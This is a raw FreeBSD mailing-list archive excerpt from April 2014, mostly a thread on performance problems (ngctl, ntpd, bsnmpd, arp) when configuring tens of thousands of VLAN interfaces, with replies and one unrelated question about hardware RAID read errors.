patch, speed became acceptable: # time /usr/sbin/arp -na > /dev/null 0.114u 0.090s 0:00.14 142.8% 20+170k 0+0io 0pf+0w I suspect, that output of standard network stack will be too low to accomplish a 3rd task, routing of ~60K vlan I have no idea, how to use netmap(4) in this situation :( Please, help me in fulfillment of assigned task. P.S. Colleague-Linuxoid is adjusting the same task and bragging: At Debian, in test (kernel 3.13), 80K vlans arose in 20 minutes. It takes 3 GB RAM. And deleting of these vlans also took 20 minutes. -- Vladislav V. Prodan System & Network Administrator http://support.od.ua +380 67 4584408, +380 99 4060508 VVP88-RIPE From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 21:29:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D5605337 for ; Wed, 9 Apr 2014 21:29:28 +0000 (UTC) Received: from frv196.fwdcdn.com (frv196.fwdcdn.com [212.42.77.196]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 91F6512E6 for ; Wed, 9 Apr 2014 21:29:28 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ukr.net; s=ffe; h=Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Cc:To:Subject:From:Date; bh=JZf2Z/93GDeyUrJl9tcNCQ/IJP0oZ42R+f8jqFX1Zus=; b=eyWoFnJmeZgBQHUWfdw8Ie/o4bXWs2q+B/TdBLaBmAvlVS58XA1wxQo/3Ax+U6NoqOOJ7LZI4NGHZ8AzhRnI2c7d76JaNkrl8vnvvjYypFcxN/oj49Y+mO8MSOoCw1g4CNETKHCASjyVhmuKYxRBMa35ERsZyGuEEfBBSLs+NMw=; Received: from [10.10.10.35] (helo=frv35.fwdcdn.com) by frv196.fwdcdn.com with smtp ID 1WY03i-0007CR-Jh for freebsd-hackers@freebsd.org; Thu, 10 Apr 2014 00:29:26 +0300 Date: Thu, 10 Apr 2014 00:29:26 +0300 From: Vladislav Prodan Subject: Some gruesome moments with performance of FreeBSD at over 20K interfaces To: freebsd-stable@freebsd.org X-Mailer: mail.ukr.net 5.0 Message-Id: <1397078965.914029340.wn98okr9@frv35.fwdcdn.com> MIME-Version: 1.0 Received: from universite@ukr.net by frv35.fwdcdn.com; Thu, 10 Apr 2014 00:29:26 +0300 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: binary Content-Disposition: inline Cc: freebsd-net@freebsd.org, freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 21:29:29 -0000 Dear Colleagues! I had a task, using FreeBSD 10.0-STABLE: 1) Receive 20-30 Q-in-Q VLAN (IEEE 802.1ad ), inside of which 2k-4k vlan (IEEE 802.1Q). Total ~60K vlan 2) To every vlan interface assign ipv4 and ipv6 addresses, define routes to ipv4 and ipv6 addresses on another side of vlan (ip unnumbered), and also prescribe ipv6 network /64 by size through ipv6 address on another side of vlan. 3) Perform routing from the world to all of these ipv4/ipv6 addresses и ipv6 networks inside ~60K vlan To accomplish the 1st task I have no alternatives to using Netgraph. I noticed incorrect behavior of ngctl(8) after addition of 560th vlan (bin/187835) Than speed of addition 4k, 8k, 12k vlans was damnably slow: 10 minutes for first 4k vlans 18 minutes for first 5k vlans 28 minutes for first 6k vlans 52 minutes for first 8k vlans Than I added more 4Đş vlans 20 minutes - 9500 vlans 33 minutes - 10500 vlans 58 minutes - 12Đş vlans In total speed of addition of 4k, 8k, 12k vlans was subsequently 10m/52m/110m It’s hard to imagine, how many time is needed to add ~60K vlan :( Process was accelerated a little by shooting off devd, bsnmpd, ntpd services, but it found another problems and limitations. For example, a) Service ntpd refuse to start at 12K interfaces: ntpd[2195]: Too many sockets in use, FD_SETSIZE 16384 exceeded I remind, that in files /usr/src/sys/sys/select.h and /usr/include/sys/select.h FD_SETSIZE value is only 1024U b) Service bsnmpd started at 12K interfaces, but immediately loaded CPU at 80-100% last pid: 64011; load averages: 1.00, 0.97, 0.90 up 0+05:25:39 21:26:36 58 processes: 3 running, 54 sleeping, 1 waiting CPU: 68.2% user, 0.0% nice, 30.6% system, 1.2% interrupt, 0.0% idle Mem: 125M Active, 66M Inact, 435M Wired, 200K Cache, 525M Free ARC: 66M Total, 28M MFU, 36M MRU, 16K Anon, 614K Header, 2035K Other Swap: 1024M Total, 1024M Free PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND 63863 root 1 96 0 136M 119M RUN 35:31 79.98% bsnmpd ... c) Size of fields during output of command netstat(1) - netstat -inW is unsufficient (bin/188153) d) If indicate in command netstat of interface it’s impossible to understand, which ipv4/ipv6 neworks are indicated here. # netstat -I ngeth123.223 -nW Name Mtu Network Address Ipkts Ierrs Idrop Opkts Oerrs Coll ngeth12 1500 08:00:27:cd:9b:8e 0 0 0 1 5 0 ngeth12 - 172.18.206.13 172.18.206.139 0 - - 0 - - ngeth12 - fe80::a00:27f fe80::a00:27ff:fe 0 - - 1 - - ngeth12 - 2001:570:28:1 2001:570:28:140:: 0 - - 0 - - e) Very low output of command arp: # ngctl list | grep ngeth | wc -l 12003 # ifconfig -a | egrep -e 'inet ' | wc -l 12007 # time /usr/sbin/arp -na > /dev/null 150.661u 551.002s 11:53.71 98.3% 20+172k 1+0io 0pf+0w More info at http://freebsd.1045724.n5.nabble.com/arp-8-performance-use-if-nameindex-instead-of-if-indextoname-td5898205.html After using of patch, speed became acceptable: # time /usr/sbin/arp -na > /dev/null 0.114u 0.090s 0:00.14 142.8% 20+170k 0+0io 0pf+0w I suspect, that output of standard network stack will be too low to accomplish a 3rd task, routing of ~60K vlan I have no idea, how to use netmap(4) in this situation :( Please, help me in fulfillment of assigned task. P.S. Colleague-Linuxoid is adjusting the same task and bragging: At Debian, in test (kernel 3.13), 80K vlans arose in 20 minutes. It takes 3 GB RAM. And deleting of these vlans also took 20 minutes. -- Vladislav V. Prodan System & Network Administrator http://support.od.ua +380 67 4584408, +380 99 4060508 VVP88-RIPE From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 01:09:19 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BE25D952; Thu, 10 Apr 2014 01:09:19 +0000 (UTC) Received: from mail-qc0-x233.google.com (mail-qc0-x233.google.com [IPv6:2607:f8b0:400d:c01::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5B88B1A71; Thu, 10 Apr 2014 01:09:19 +0000 (UTC) Received: by mail-qc0-f179.google.com with SMTP id m20so3641293qcx.38 for ; Wed, 09 Apr 2014 18:09:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=264EbCMXLHTmbq+aW9cndHLnV5e9ZHW389ZjxR05FuU=; b=dErqPCaQBQCSJFnT5mv2UZptgdxBTXFbtG+SuiyB3DlouolyEokw33WtU92DIghv9C rtw+hfe6MFxcO+53eb/zBiM8Ui+hdNpkPqXD+lW6Ps1T63XUWMUpUJuYNXKeR6vdcZWc V0hF3nU3Gj9CDZsQMjTgwwy1ZMvTg4kK6fRMXf3Ox/PLVgzuFxnNYB3f7mQtWUEeg4vT NsLxNjNktvPu+xI3SoPMaYX9aGSEERTOTOHg6lfQSWSMM84N/yIM27GjQ90seJ64DBe4 lq7ZWSukPtird9e+pywSV09EijZ+MYbJoZzE4LIwxDA2rO4MAlJH4xzJi0iHy45lw5Ib DvMQ== MIME-Version: 1.0 X-Received: by 10.140.42.38 with SMTP id b35mr15773695qga.87.1397092158477; Wed, 09 Apr 2014 18:09:18 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.50.206 with HTTP; Wed, 9 Apr 2014 18:09:18 -0700 (PDT) In-Reply-To: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> References: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> Date: Wed, 9 Apr 2014 18:09:18 -0700 X-Google-Sender-Auth: hJIhuCiqDd6ywEO6kT0dNkZDL8s Message-ID: Subject: Re: Some gruesome moments with performance of FreeBSD at over 20K interfaces From: Adrian Chadd To: Vladislav Prodan Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "stable@freebsd.org" , "freebsd-hackers@freebsd.org" , "net@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 01:09:19 -0000 Hi, There's likely many more places where these aren't O(1) operations. The patch in question should be in -HEAD now. a-a On 9 April 2014 14:14, Vladislav Prodan wrote: > Dear Colleagues! > > I had a task, using FreeBSD 10.0-STABLE: > 1) Receive 20-30 Q-in-Q VLAN (IEEE 802.1ad ), inside of which 2k-4k vlan = (IEEE 802.1Q). Total ~60K vlan > 2) To every vlan interface assign ipv4 and ipv6 addresses, define routes = to ipv4 and ipv6 addresses on another side of vlan (ip unnumbered), and als= o prescribe ipv6 network /64 by size through ipv6 address on another side o= f vlan. > 3) Perform routing from the world to all of these ipv4/ipv6 addresses =D0= =B8 ipv6 networks inside ~60K vlan > > > > To accomplish the 1st task I have no alternatives to using Netgraph. > I noticed incorrect behavior of ngctl(8) after addition of 560th vlan (bi= n/187835) > Than speed of addition 4k, 8k, 12k vlans was damnably slow: > 10 minutes for first 4k vlans > 18 minutes for first 5k vlans > 28 minutes for first 6k vlans > 52 minutes for first 8k vlans > Than I added more 4=D0=BA vlans > 20 minutes - 9500 vlans > 33 minutes - 10500 vlans > 58 minutes - 12=D0=BA vlans > > In total speed of addition of 4k, 8k, 12k vlans was subsequently 10m/52m/= 110m > It=E2=80=99s hard to imagine, how many time is needed to add ~60K vlan :( > Process was accelerated a little by shooting off devd, bsnmpd, ntpd servi= ces, but it found another problems and limitations. > > For example, > a) Service ntpd refuse to start at 12K interfaces: > ntpd[2195]: Too many sockets in use, FD_SETSIZE 16384 exceeded > I remind, that in files /usr/src/sys/sys/select.h and /usr/include/sys/se= lect.h FD_SETSIZE value is only 1024U > > b) Service bsnmpd started at 12K interfaces, but immediately loaded CPU a= t 80-100% > > last pid: 64011; load averages: 1.00, 0.97, 0.90 = up 0+05:25:39 21:26:36 > 58 processes: 3 running, 54 sleeping, 1 waiting > CPU: 68.2% user, 0.0% nice, 30.6% system, 1.2% interrupt, 0.0% idle > Mem: 125M Active, 66M Inact, 435M Wired, 200K Cache, 525M Free > ARC: 66M Total, 28M MFU, 36M MRU, 16K Anon, 614K Header, 2035K Other > Swap: 1024M Total, 1024M Free > > PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAN= D > 63863 root 1 96 0 136M 119M RUN 35:31 79.98% bsnmpd > ... > > c) Size of fields during output of command netstat(1) - netstat -inW is u= nsufficient (bin/188153) > > d) If indicate in command netstat of interface it=E2=80=99s impossible to= understand, which ipv4/ipv6 neworks are indicated here. > > # netstat -I ngeth123.223 -nW > Name Mtu Network Address Ipkts Ierrs Idrop Opk= ts Oerrs Coll > ngeth12 1500 08:00:27:cd:9b:8e 0 0 0 = 1 5 0 > ngeth12 - 172.18.206.13 172.18.206.139 0 - - = 0 - - > ngeth12 - fe80::a00:27f fe80::a00:27ff:fe 0 - - = 1 - - > ngeth12 - 2001:570:28:1 2001:570:28:140:: 0 - - = 0 - - > > e) Very low output of command arp: > # ngctl list | grep ngeth | wc -l > 12003 > # ifconfig -a | egrep -e 'inet ' | wc -l > 12007 > # time /usr/sbin/arp -na > /dev/null > 150.661u 551.002s 11:53.71 98.3% 20+172k 1+0io 0pf+0w > > > More info at http://freebsd.1045724.n5.nabble.com/arp-8-performance-use-i= f-nameindex-instead-of-if-indextoname-td5898205.html > > After using of patch, speed became acceptable: > > # time /usr/sbin/arp -na > /dev/null > 0.114u 0.090s 0:00.14 142.8% 20+170k 0+0io 0pf+0w > > I suspect, that output of standard network stack will be too low to accom= plish a 3rd task, routing of ~60K vlan > I have no idea, how to use netmap(4) in this situation :( > Please, help me in fulfillment of assigned task. > > P.S. > Colleague-Linuxoid is adjusting the same task and bragging: > At Debian, in test (kernel 3.13), 80K vlans arose in 20 minutes. It takes= 3 GB RAM. And deleting of these vlans also took 20 minutes. > > -- > Vladislav V. Prodan > System & Network Administrator > http://support.od.ua > +380 67 4584408, +380 99 4060508 > VVP88-RIPE > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 07:17:19 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D49C3E7D; Thu, 10 Apr 2014 07:17:19 +0000 (UTC) Received: from mail-pb0-x232.google.com (mail-pb0-x232.google.com [IPv6:2607:f8b0:400e:c01::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9DA381C41; Thu, 10 Apr 2014 07:17:19 +0000 (UTC) Received: by mail-pb0-f50.google.com with SMTP id md12so3607373pbc.9 for ; Thu, 10 Apr 2014 00:17:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=KJMYIPwoZHluFWhKdWoXM+tp2I1coko7DRWkQ0cq4rw=; b=aCRzcV5e6S1Br4kfJ+8BZj2tGyXaKMx6M0q6iK2HWY7ULvVZpZL7PKBkor79hDfkxN QzQ4R7E7ZzqVar38AA65FBCJ++UhnZL4aqCtVf9rwWaD60Aq+tAsI3dx795PpirGS/db kbEpiS6Av/YjJFWNx3AbA/1Qb41Z104tMhykS0XrxxCAHpH2MLsK61hh4iNtaQIT8CW6 RStsug7om22oYKySQa8B7+vu0w0vNNvFnO0uNreSpqQwHa0uKhVISS91UljHh7MLQTnA tQJaQLLJ6oEbHvIFnLG0eSLVVdQCn/9kDXOAmDpP00n/73ZT8w61fsB641pWBJUOqC07 tCtw== MIME-Version: 1.0 X-Received: by 10.68.202.8 with SMTP id ke8mr17891380pbc.86.1397114239144; Thu, 10 Apr 2014 00:17:19 -0700 (PDT) Sender: ermal.luci@gmail.com Received: by 10.70.88.109 with HTTP; Thu, 10 Apr 2014 00:17:19 -0700 (PDT) In-Reply-To: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> References: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> Date: Thu, 10 Apr 2014 09:17:19 +0200 X-Google-Sender-Auth: nDCaiWbz6h330UUkNh-TgVjcCV8 Message-ID: Subject: Re: Some gruesome moments with performance of FreeBSD at over 20K interfaces From: =?ISO-8859-1?Q?Ermal_Lu=E7i?= To: Vladislav Prodan Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: stable@freebsd.org, hackers@freebsd.org, "net@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 07:17:19 -0000 >From experience with large number of interfaces and configuring them. Its not that the kernel cannot handle it the problem is that you call generic utilities to do this job. I.E. to setup an ip on the interface ifconfig has first to get the whole list of interfaces to determine if that interface exists and extra checkings. This is what slows down the whole thing. In pfSense by using custom utilities the time for configuring 8K interfaces went from around 30 minutes to mere seconds or about a minute. It has been long time not testing such scenarios and if you can generate a config(xml format) with all the information for pfSense i can give a look to see what is the bottleneck there. On Wed, Apr 9, 2014 at 11:14 PM, Vladislav Prodan wrote= : > Dear Colleagues! > > I had a task, using FreeBSD 10.0-STABLE: > 1) Receive 20-30 Q-in-Q VLAN (IEEE 802.1ad ), inside of which 2k-4k vlan > (IEEE 802.1Q). Total ~60K vlan > 2) To every vlan interface assign ipv4 and ipv6 addresses, define routes > to ipv4 and ipv6 addresses on another side of vlan (ip unnumbered), and > also prescribe ipv6 network /64 by size through ipv6 address on another > side of vlan. > 3) Perform routing from the world to all of these ipv4/ipv6 addresses =C9 > ipv6 networks inside ~60K vlan > > > > To accomplish the 1st task I have no alternatives to using Netgraph. > I noticed incorrect behavior of ngctl(8) after addition of 560th vlan > (bin/187835) > Than speed of addition 4k, 8k, 12k vlans was damnably slow: > 10 minutes for first 4k vlans > 18 minutes for first 5k vlans > 28 minutes for first 6k vlans > 52 minutes for first 8k vlans > Than I added more 4=CB vlans > 20 minutes - 9500 vlans > 33 minutes - 10500 vlans > 58 minutes - 12=CB vlans > > In total speed of addition of 4k, 8k, 12k vlans was subsequently > 10m/52m/110m > It's hard to imagine, how many time is needed to add ~60K vlan :( > Process was accelerated a little by shooting off devd, bsnmpd, ntpd > services, but it found another problems and limitations. > > For example, > a) Service ntpd refuse to start at 12K interfaces: > ntpd[2195]: Too many sockets in use, FD_SETSIZE 16384 exceeded > I remind, that in files /usr/src/sys/sys/select.h and > /usr/include/sys/select.h FD_SETSIZE value is only 1024U > > b) Service bsnmpd started at 12K interfaces, but immediately loaded CPU a= t > 80-100% > > last pid: 64011; load averages: 1.00, 0.97, 0.90 > up 0+05:25:39 21:26:36 > 58 processes: 3 running, 54 sleeping, 1 waiting > CPU: 68.2% user, 0.0% nice, 30.6% system, 1.2% interrupt, 0.0% idle > Mem: 125M Active, 66M Inact, 435M Wired, 200K Cache, 525M Free > ARC: 66M Total, 28M MFU, 36M MRU, 16K Anon, 614K Header, 2035K Other > Swap: 1024M Total, 1024M Free > > PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAN= D > 63863 root 1 96 0 136M 119M RUN 35:31 79.98% bsnmpd > ... > > c) Size of fields during output of command netstat(1) - netstat -inW is > unsufficient (bin/188153) > > d) If indicate in command netstat of interface it's impossible to > understand, which ipv4/ipv6 neworks are indicated here. > > # netstat -I ngeth123.223 -nW > Name Mtu Network Address Ipkts Ierrs Idrop > Opkts Oerrs Coll > ngeth12 1500 08:00:27:cd:9b:8e 0 0 0 > 1 5 0 > ngeth12 - 172.18.206.13 172.18.206.139 0 - - > 0 - - > ngeth12 - fe80::a00:27f fe80::a00:27ff:fe 0 - - > 1 - - > ngeth12 - 2001:570:28:1 2001:570:28:140:: 0 - - > 0 - - > > e) Very low output of command arp: > # ngctl list | grep ngeth | wc -l > 12003 > # ifconfig -a | egrep -e 'inet ' | wc -l > 12007 > # time /usr/sbin/arp -na > /dev/null > 150.661u 551.002s 11:53.71 98.3% 20+172k 1+0io 0pf+0w > > > More info at > http://freebsd.1045724.n5.nabble.com/arp-8-performance-use-if-nameindex-i= nstead-of-if-indextoname-td5898205.html > > After using of patch, speed became acceptable: > > # time /usr/sbin/arp -na > /dev/null > 0.114u 0.090s 0:00.14 142.8% 20+170k 0+0io 0pf+0w > > I suspect, that output of standard network stack will be too low to > accomplish a 3rd task, routing of ~60K vlan > I have no idea, how to use netmap(4) in this situation :( > Please, help me in fulfillment of assigned task. > > P.S. > Colleague-Linuxoid is adjusting the same task and bragging: > At Debian, in test (kernel 3.13), 80K vlans arose in 20 minutes. It takes > 3 GB RAM. And deleting of these vlans also took 20 minutes. > > -- > Vladislav V. Prodan > System & Network Administrator > http://support.od.ua > +380 67 4584408, +380 99 4060508 > VVP88-RIPE > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" --=20 Ermal From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 09:56:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1E9D1638 for ; Thu, 10 Apr 2014 09:56:17 +0000 (UTC) Received: from ibiza.webweaving.org (ibiza.webweaving.org [204.109.56.32]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D1E681BAA for ; Thu, 10 Apr 2014 09:56:16 +0000 (UTC) Received: from pikmeer.webweaving.org (pikmeer.webweaving.org [178.18.23.51]) by ibiza.webweaving.org (8.14.7/8.14.7) with ESMTP id s3A9RO2N087967 for ; Thu, 10 Apr 2014 09:27:24 GMT (envelope-from dirkx@webweaving.org) Received: from [10.11.0.104] (a83-163-239-115.adsl.xs4all.nl [83.163.239.115]) (authenticated bits=0) by pikmeer.webweaving.org (8.14.7/8.14.7) with ESMTP id s3A9Qqbm017471 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 10 Apr 2014 09:27:23 GMT (envelope-from dirkx@webweaving.org) X-Authentication-Warning: pikmeer.webweaving.org: Host a83-163-239-115.adsl.xs4all.nl [83.163.239.115] claimed to be [10.11.0.104] From: Dirk-Willem van Gulik Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Subject: Hardware raid v.s. 'soft errors' Message-Id: Date: Thu, 10 Apr 2014 11:27:12 +0200 To: freebsd-hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (ibiza.webweaving.org [204.109.56.32]); Thu, 10 Apr 2014 09:27:25 +0000 (UTC) X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.4.3 (pikmeer.webweaving.org [178.18.23.51]); Thu, 10 Apr 2014 09:27:24 +0000 (UTC) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 09:56:17 -0000 Got two AAC hardware raid machines - slightly differently configured. = Both are (about once every other year) giving an error like g_vfs_done():aacd1p8[READ(offset=3D1757508976640, = length=3D65536)]error =3D 5 while the hardware raid is healthy - and passes all its validations. As = do the disks (we=92ve replaced disks on those machines some 4 or 5 times - with no real impact/change - still above issue every 18 months = or so) As far as I can trace this through the kernel - these errors *really* come from the ATA in the AAC - correct ? The odd thing is that it happens on two machines - with slightly = different AAC cards; and with a different upgrade history. Both are now 9.2-RELEASE-p3 - but the issue has propagated from 7.2 upward. Any suggestions as to where to look ? And specifically - is there a way = in the AAC to intercept events/errors at an even lower level ? Or should I be assuming this to be more in raid card firmware territory ? Dw= From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 10:08:25 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BDCBB946; Thu, 10 Apr 2014 10:08:25 +0000 (UTC) Received: from mailhost.dlr.de (mailhost.dlr.de [129.247.252.32]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mailhost.dlr.de", Issuer "DLR CA - G02" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4E8621CEC; Thu, 10 Apr 2014 10:08:25 +0000 (UTC) Received: from DLREXHUB01.intra.dlr.de (172.21.152.130) by dlrexedge01.dlr.de (172.21.163.100) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 10 Apr 2014 12:08:01 +0200 Received: from KNOP-BEAGLE.kn.op.dlr.de (129.247.178.136) by smtp.dlr.de (172.21.152.151) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 10 Apr 2014 12:08:00 +0200 Date: Thu, 10 Apr 2014 12:08:00 +0200 From: Harti Brandt X-X-Sender: brandt_h@KNOP-BEAGLE.kn.op.dlr.de To: Vladislav Prodan Subject: Re: Some gruesome moments with performance of FreeBSD at over 20K interfaces In-Reply-To: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> Message-ID: References: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) X-OpenPGP-Key: harti@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Cc: stable@freebsd.org, hackers@freebsd.org, net@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Harti Brandt List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 10:08:25 -0000 On Wed, 9 Apr 2014, Vladislav Prodan wrote: VP>b) Service bsnmpd started at 12K interfaces, but immediately loaded CPU VP>at 80-100% I could imagine that this is because of the statistics polling. bsnmp implements 64-bit interface statistics but we have only 32-bit statistics in the kernel. So it polls the kernel statistics for each interface on a rate that ensures that 32-bit don't overflow. If the interfaces are GBit or, worse, 10GBit interfaces the polling rate is rather high (in the order of seconds). You should either make sure that the interfaces report sensible bitrates (I doubt that 20k interfaces could all be GBit interfaces) or force a slower polling interval by setting begemotIfForcePoll.0 to some large value. harti From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 11:06:04 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 68FE885E for ; Thu, 10 Apr 2014 11:06:04 +0000 (UTC) Received: from frv199.fwdcdn.com (frv199.fwdcdn.com [212.42.77.199]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 223431483 for ; Thu, 10 Apr 2014 11:06:03 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ukr.net; s=ffe; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Cc:To:Subject:From:Date; bh=znTrwNIHwNvgGMhZwpXKmoJJdn0w2U/UwtfH5CVLoRQ=; b=tJtWeEDpDPOxde0PqtRoMbMCwi1yOJzBGz1d+MHvGVFHij5OIPOkL/pkI71HepXZUo/t2dH5IXMPQ7msH68tHRHm3xXld35271hj+xC9n4bilZqTA6xRv1EaOZA/nxDEmtmiA9TEiIzNwmSkltwLZxfHfiyIDboDyQ1K7BQOEh4=; Received: from [10.10.10.35] (helo=frv35.fwdcdn.com) by frv199.fwdcdn.com with smtp ID 1WYCns-000BrW-Tk for hackers@freebsd.org; Thu, 10 Apr 2014 14:05:56 +0300 Date: Thu, 10 Apr 2014 14:05:56 +0300 From: Vladislav Prodan Subject: Re[2]: Some gruesome moments with performance of FreeBSD at over 20K interfaces To: Harti Brandt X-Mailer: mail.ukr.net 5.0 Message-Id: <1397127901.499782177.24smhe7a@frv35.fwdcdn.com> In-Reply-To: References: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> MIME-Version: 1.0 Received: from universite@ukr.net by frv35.fwdcdn.com; Thu, 10 Apr 2014 14:05:56 +0300 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: binary Content-Disposition: inline Cc: stable@freebsd.org, hackers@freebsd.org, net@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 11:06:04 -0000 > On Wed, 9 Apr 2014, Vladislav Prodan wrote: > > VP>b) Service bsnmpd started at 12K interfaces, but immediately loaded CPU > VP>at 80-100% > > I could imagine that this is because of the statistics polling. bsnmp > implements 64-bit interface statistics but we have only 32-bit statistics > in the kernel. So it polls the kernel statistics for each interface on a > rate that ensures that 32-bit don't overflow. If the interfaces are GBit > or, worse, 10GBit interfaces the polling rate is rather high (in the order > of seconds). > > You should either make sure that the interfaces report sensible bitrates > (I doubt that 20k interfaces could all be GBit interfaces) or force a slower > polling interval by setting begemotIfForcePoll.0 to some large value. > > harti > Thanks for the tip. At least 10 interfaces to be 1Gb, and the rest no more than 50M. BegemotIfForcePoll parameter in this case a little help, you will be forced to stand another value for Gigabit Interface begemotIfForcePoll ... -- Vladislav V. Prodan System & Network Administrator 